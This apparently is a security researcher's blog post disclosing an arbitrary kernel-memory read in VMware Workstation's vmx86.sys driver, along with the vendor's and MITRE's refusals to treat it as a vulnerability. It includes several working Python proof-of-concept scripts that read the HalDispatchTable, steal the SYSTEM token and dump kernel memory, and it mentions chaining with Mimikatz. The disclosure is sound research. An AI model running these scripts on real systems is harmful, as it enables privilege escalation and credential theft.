VMware: "It's not a vulnerability, mmkkkayyy" | 2014-11-18 16:15 |
During a recent review of the VMWare Workstation application, I discovered a method that allows any member of the __vmware__ group to extract arbitrary sections of kernel memory. When you consider the fact that members of this group are not required to already have administrative privileges, this suddenly becomes a significant vulnerability in the sense that it implies that otherwise unprivileged users now have the means to extract and subsequently use/abuse sensitive data like process-level tokens, encryption keys, etc. Needless to say, this poses a significant security risk to any organization that allows unprivileged users to operate virtual machines by way of the __vmware__ group.
To date, VMWare has declined to mitigate this vulnerability despite the detailed evidence we have provided and our repeated attempts to convince them that there is an underlying design flaw here that needs to be addressed. Also note that this vulnerability, officially documented here, has not been assigned a CVE identifier because MITRE declined to do so.
The VMWare Workstation application uses a driver named vmx86.sys that supports various operations relating to guest operating system emulation and interaction. Our research has uncovered this vulnerability in Microsoft Windows XP Service Pack 3 and Windows 7 (x86). It is likely that Windows Server 2003 is impacted as well; other VMWare software such as Player may also be impacted.
In order to execute the IOCTL within the affected driver, the user must belong to the __vmware__ group. According to VMWare an unprivileged user does not have to belong to this group to run VMs as long as the vmware-authd.exe service is running. I have confirmed this to be the case.
By leveraging this vulnerability, an unprivileged user will be able to extract any memory that resides within the kernel. Kernel memory contains sensitive information relating not just to process privilege level, but many other security aspects of the operating system as well.
VMWare has indicated that they do not consider this an actionable security issue. However, as this vulnerability is trivially exploited, they agreed consumers should be advised to not assign untrusted users to the __vmware__ group. Consequently, VMWare has since published Knowledge Base article 2089333, which "describes the use case and security considerations" of the __vmware__ group.
However, there's more to it than that. I have confirmed that the access afforded by the __vmware__ group is greater than that a typical administrator would enjoy. In fact, the access is effectively equivalent to that of the SYSTEM user. I go into more detail about this later in the blog, but first, let me show you how the issue can be triggered.
The code shown below triggers the issue by forcing a memory read at a blatantly invalid address (0xffff0000).
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40) buf = pack('<L',0xcccccccc)*100 WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0))) inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141) DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff) if (GetLastError() != 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) CloseHandle(handle)
Upon review of the crash dump output produced by executing the code above, it's evident that 0xffff0000 has been referenced and subsequently moved into the attacker-controlled ESI register.
PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) .... eax=ffff00ff ebx=872b20f0 ecx=0000003f edx=00000003 esi=ffff0000 edi=87ec7740 eip=82c517f3 esp=9b3b7a54 ebp=9b3b7a5c iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!memcpy+0x33: 82c517f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope LAST_CONTROL_TRANSFER: from 82c593d8 to 82ca641b STACK_TEXT: 9b3b79c8 82c593d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106 9b3b79c8 82c517f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc 9b3b7a5c 977c7bd6 87ec7740 ffff0000 000000ff nt!memcpy+0x33 WARNING: Stack unwind information not available. Following frames may be wrong. 9b3b7ad0 977c829a 87ec7740 00000008 87ec7740 vmx86+0xbd6 9b3b7afc 82c4f593 872b2d70 872b20d8 872b20d8 vmx86+0x129a 9b3b7b14 82e4399f 85a82140 872b20d8 872b2148 nt!IofCallDriver+0x63 9b3b7b34 82e46b71 872b2d70 85a82140 00000000 nt!IopSynchronousServiceTail+0x1f8 9b3b7bd0 82e8d3f4 872b2d70 872b20d8 00000000 nt!IopXxxControlFile+0x6aa 9b3b7c04 82c561ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 9b3b7c04 777570b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a 0021fa5c 00000000 00000000 00000000 00000000 0x777570b4
From here, I concluded that I could read any arbitrary section of memory. The code shown below demonstrates one technique for doing just that.
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 inputBuffer = pack('<L',HalDispatchTable) + "\x41"*4 DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x4) if (GetLastError() != 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) data = create_string_buffer(0x4) if (ReadProcessMemory(-1,0x25,byref(data),0x4,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): kValue+=i[::-1] print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue) else: print "[!] could not read output memory." CloseHandle(handle)
Reviewing the output produced by executing the above code will illustrate how an attacker can read arbitrary sections of memory from the kernel.
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340 eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 778570b4 c3 ret 0:000> db 0x25 L?0x4 00000025 a2 68 04 83 [+] Handle \\.\vmx86 @ 120 [+] HalDispatchTable+0x4(0x82d383fc) == 830468a2
Another example would be to extract the SYSTEM Access Token from PID four (4):
lkd> !process 0 1 **** NT ACTIVE PROCESS DUMP **** PROCESS 853ca020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 8a401b28 HandleCount: 983. Image: System ... lkd> !exts.token -n 8a401270 _TOKEN 8a401270 TS Session ID: 0 User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) ... lkd> db 0x8a401270 L?0x1dc 8a401270 2a 53 59 53 54 45 4d 2a-00 00 00 00 00 00 00 00 *SYSTEM*........ 8a401280 ea 03 00 00 00 00 00 00-e7 03 00 00 00 00 00 00 ................ 8a401290 00 00 00 00 00 00 00 00-90 eb 4c b6 26 75 20 06 ..........L.&u . 8a4012a0 00 df 34 85 eb 03 00 00-00 00 00 00 00 00 00 00 ..4............. 8a4012b0 bc ff ff f2 0f 00 00 00-90 e8 b1 60 0e 00 00 00 ...........`.... 8a4012c0 90 e8 b1 60 0e 00 00 00-00 00 00 00 00 00 00 00 ...`............ 8a4012d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4012e0 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................ 8a4012f0 70 00 00 00 00 04 00 00-00 00 00 00 01 00 00 00 p............... 8a401300 4c 14 40 8a 00 00 00 00-08 12 40 8a 08 12 40 8a L.@.......@...@. 8a401310 14 12 40 8a 01 00 00 00-00 00 00 00 00 20 00 00 ..@.......... .. 8a401320 01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a ..............@. 8a401330 00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a ............L.@. 8a401340 16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00 ................ 8a401350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401360 00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00 ................ 8a401370 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401380 1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00 ................ 8a401390 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401400 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401410 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401420 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401430 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401440 00 00 00 00 00 00 00 00-20 15 40 8a ........ .@.
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py [+] Handle \\.\vmx86 @ 120 2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0 3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00 90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0 4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a 14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00 00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0 0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a [*] caught system token
To obtain your current token, modify the address passed to
pack() in the code shown below. If you enable /DEBUG, attach
Windbg to the kernel and use !process 0 1 followed by !exts.token
-n
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) inputBuffer = pack('<L',0x8a401270)+"\x41"*4 DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x1dc) if (GetLastError() != 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) data = create_string_buffer(0x1dc) if (ReadProcessMemory(-1,0x25,byref(data),0x1dc,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::]): kValue+=i[::] kValue+=" " print "%s" % (kValue) if ("2a 53 59 53 54 45 4d 2a" in kValue): print "[*] caught system token" else: print "[!] could not read output memory." CloseHandle(handle)
This technique can be modified slightly to extract large sections of kernel memory as an unprivileged user.
from ctypes import * from struct import pack from sys import exit from binascii import hexlify from re import findall from time import sleep EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None kBase,kVer = getBase() NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) kernelMem,address = "",kBase print "total size %s in %s calls" % (0xffffffff-kBase,(0xffffffff-kBase)/0xffff) while True: handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) if (address == 0xffffffff): break else: inputBuffer = pack('<L',address) + "\x41"*4 DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0xffff) if (GetLastError() != 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) data = create_string_buffer(0xffff) if (ReadProcessMemory(-1,0x25,byref(data),0xffff,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): try: kValue+=pack('B',int(i,16)) except: print "[!] could not pack() byte, skipping to the next byte" print "dumping 0xffff at %s, size so far %s" % (hex(address)[:-1],len(kernelMem)) kernelMem+=kValue fp = open("kernel.out","a+") fp.write(kernelMem) fp.close() address+=0xffff CloseHandle(handle) sleep(0.1) print len(kernelMem)
The technique illustrated above will write the kernel contents to a file named 'kernel.out' in the local directory with one caveat: I have yet to figure out a reliable way to validate the kernel-land address from user-land. This is something I shouldn't be able to do as an unprivileged user. As a result, a typical Windows BSOD will occur once an unallocated address is referenced. You can adjust the input address to something more interesting if you care to.
<removed>:<removed> <removed>$ hexdump -C kernel.out|more 00000000 66 1d b8 03 1c 38 ff ff ef 59 28 f0 2c b3 66 a0 |f....8...Y(.,.f.| 00000010 2c 38 b2 27 2c b3 66 1d b8 00 00 71 0e 9b ff ff |,8.',.f....q....| 00000020 ef da 28 f0 2c b3 66 a0 2c 38 34 27 2c b3 66 1d |..(.,.f.,84',.f.| 00000030 b8 00 00 01 04 9b ff ff ef 5c 28 f0 2c b3 66 00 |.........\(.,.f.| 00000040 00 f0 a2 ab d5 27 2c b3 66 1d b8 05 1c 38 ff ff |.....',.f....8..|
Interestingly enough, VMWare makes a comparison between __vmware__ and the Power Users/Administrator groups within Windows. I was particularly curious about this "The _vmware_ group is similar in concept to the Windows 2000/XP built-in Power Users group." and "Users in the _vmware_ group effectively have administrative privileges." My experience had taught me that neither a Power User or even Administrator could directly call memcpy() with a kernel address and get anything except a ERROR_NOACCESS. However, I decided to give them the benefit of the doubt and write some code to test the theory.
To do that, I simply modified the code shown above to calculate the address of the first entry in the HalDispatchTable and subsequently read that four-byte value using memcpy().
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory memcpy = windll.msvcrt.memcpy INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 try: memcpy(0x10,HalDispatchTable ,0x4) except WindowsError as e: print "[!] caught error: %s" % (e) if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): kValue+=i[::-1] print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue) else: print "[!] could not read output memory.\nGetLastError() == %s" % (hex(GetLastError()))
And then, I ran it. The output produced by executing the above code was as follows:
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py [!] caught error: exception: access violation reading 0x82D393FC [!] could not read output memory. GetLastError() == 0x3e6
As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred. I subsequently ran this code from the context of a Power User as well as an Administrator, and in both cases, the results were identical -- access denied. In other words, the tests confirmed that neither context, in its normal/default state, is sufficient to achieve the same level of access as was achieved by a user in the __vmware__ group.
It is my understanding that an Administrator can only read kernel memory if the boot manager has /DEBUG ON and only through WinDbg/KD or equivalent APIs.
The API function memcpy() fails because it can only access memory addresses within the process executing the call. If this call is happening from kernel-mode, then the API call should function as suggested. This is not the case from user-land when providing the call a kernel-land memory address, regardless of whether the user is an Administrator or not.
Therefore, not only does this vulnerability reside in the kernel, but the evidence collected also fails to support VMWare's points of comparison. It can be concluded that the evidence better supports that the points of comparison are between __vmware__ and SYSTEM. To that end, it isn't sound security practice to provide Administrators with a mechanism to issue what is essentially a SYSTEM privilege, one which cannot easily be executed by even the Administrator, to a user with otherwise limited privileges.
Now, we know that there are ways that Power Users and Administrators can obtain SYSTEM privileges, but those ways typically involve clearing some additional hurdles. With this particular vulnerability, it's as though all hurdles have been set aside.
So, what can someone do for fun with this vulnerability? There are two cases I have thought of where this can be applied relatively easily to achieve some interesting results:
- In my last post, I talked about a classic class of vulnerability known as write-what-where. While working on validating the shellcode used in that post, I had to use WinDbg to read nt!_token and a few other things from the kernel. An arbitrary read such as the one I have touched on in this blog post would allow an attacker to develop robust exploits that may leverage more than one vulnerability to accomplish their overall goal.
- Read about the Microsoft .DMP file format and craft some code to create files that can load into WinDbg. Interesting plug-ins for Windbg exist, such as Mimikatz.
While I can envision several methods for solving this vulnerability, one in particular is rather simple. The goal is to prevent an unprivileged user from being able to control the kernel memory address to be read. A FIFO queue could solve the issue by leveraging one IOCTL which will allocate and populate the required memory within the kernel, and add a pointer for that memory to the queue. A second IOCTL could then be used to provide the user with the memory from the address within the queue. This would remove the need for the unprivileged user to control the kernel memory address to be read, and thus, fix the vulnerability.
During the interaction our program manager had with VMWare, they provided a final response regarding the vulnerability; quoted with identifying information redacted:
Hi [KoreLogic], We have re-reviewed your report and we believe that this is not a vulnerability for the following reasons: 1) Users must be manually added to the privileged group _vmware_ 2) Default configuration of the product does not add users to this group 3) The permissions granted by this group are what is required for the product to function if authd service is not running. However, we do feel that the omission of the _vmware_ group in our documentation is a problem. We have written a VMware Knowledge Base article documenting the group, its effective permissions, and usage here: http://kb.vmware.com/kb/2089333 We would like to acknowledge your assistance with the issue and add following statement to the Knowledge Base article: VMware would like to thankfrom Korelogic, Inc. for working with us on documenting this issue. Please let us know which name to use in above acknowledgement. If you are planning on announcing the findings of your team, we would highly appreciate it you could refer to our Knowledge Base article. Thank you again for the report. ----
I personally derived one thing from this response. It's apparently considered a feature and not a vulnerability. I guess we're free to enjoy this newly documented 'feature' in VMWare Workstation! :)
All joking aside, I am slightly confused as to why VMWare has declined to patch this obvious issue. I do not maintain that this vulnerability is the worst out there right now (it isn't), but at the very least, I think it requires the vendor to take responsibility by creating an appropriate patch. I welcome a continued conversation with VMWare about this vulnerability and the concepts I think can help prevent exploitation from occurring.
When KoreLogic requested a CVE identifier for this vulnerability, MITRE indicated that none would be assigned.
Subject: Re: CVE-ID Request Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT) From: cve-assign@mitre.org To: disclosures@korelogic.com CC: cve-assign@mitre.org > The vendor's viewpoint is that it is not a vulnerability and therefore > no patch is needed. > > The type of attacker in this case is an unprivileged local user with > membership in the __vmware__ group. >> A vulnerability within the vmx86 driver allows an attacker to specify a >> memory address within the kernel and have the memory stored at that >> address be returned to the attacker. Thus, this is an arbitrary read due >> to improper input validation (CWE-20). There is no CVE ID assignment for this. From our perspective, the vendor is entitled to define a security policy in which this read access is considered an acceptable risk, given __vmware__ group membership.
If __vmware__ were the equivalent of Power User or even Administrator, I would agree with MITRE. My thought would be that having multiple groups effectively equivalent to each other is bad practice, but I can see not issuing a CVE for THAT. The vulnerability that I discovered, however, is not equivalent to a Power User or even an Administrator. It's a vulnerability that effectively grants SYSTEM access!
In my opinion, any use of the __vmware__ group as currently implemented is a risk, and unless you're comfortable giving away SYSTEM access, you should avoid this group entirely. Furthermore, I assert that this vulnerability clearly violates protection ring design principles. That being said, the fix is also pretty straight-forward: prevent unprivileged users from being able to control the kernel memory address and amount of data to be read.
0 comments | Posted by Matt at: 16:15 permalink |
Comments are closed for this story.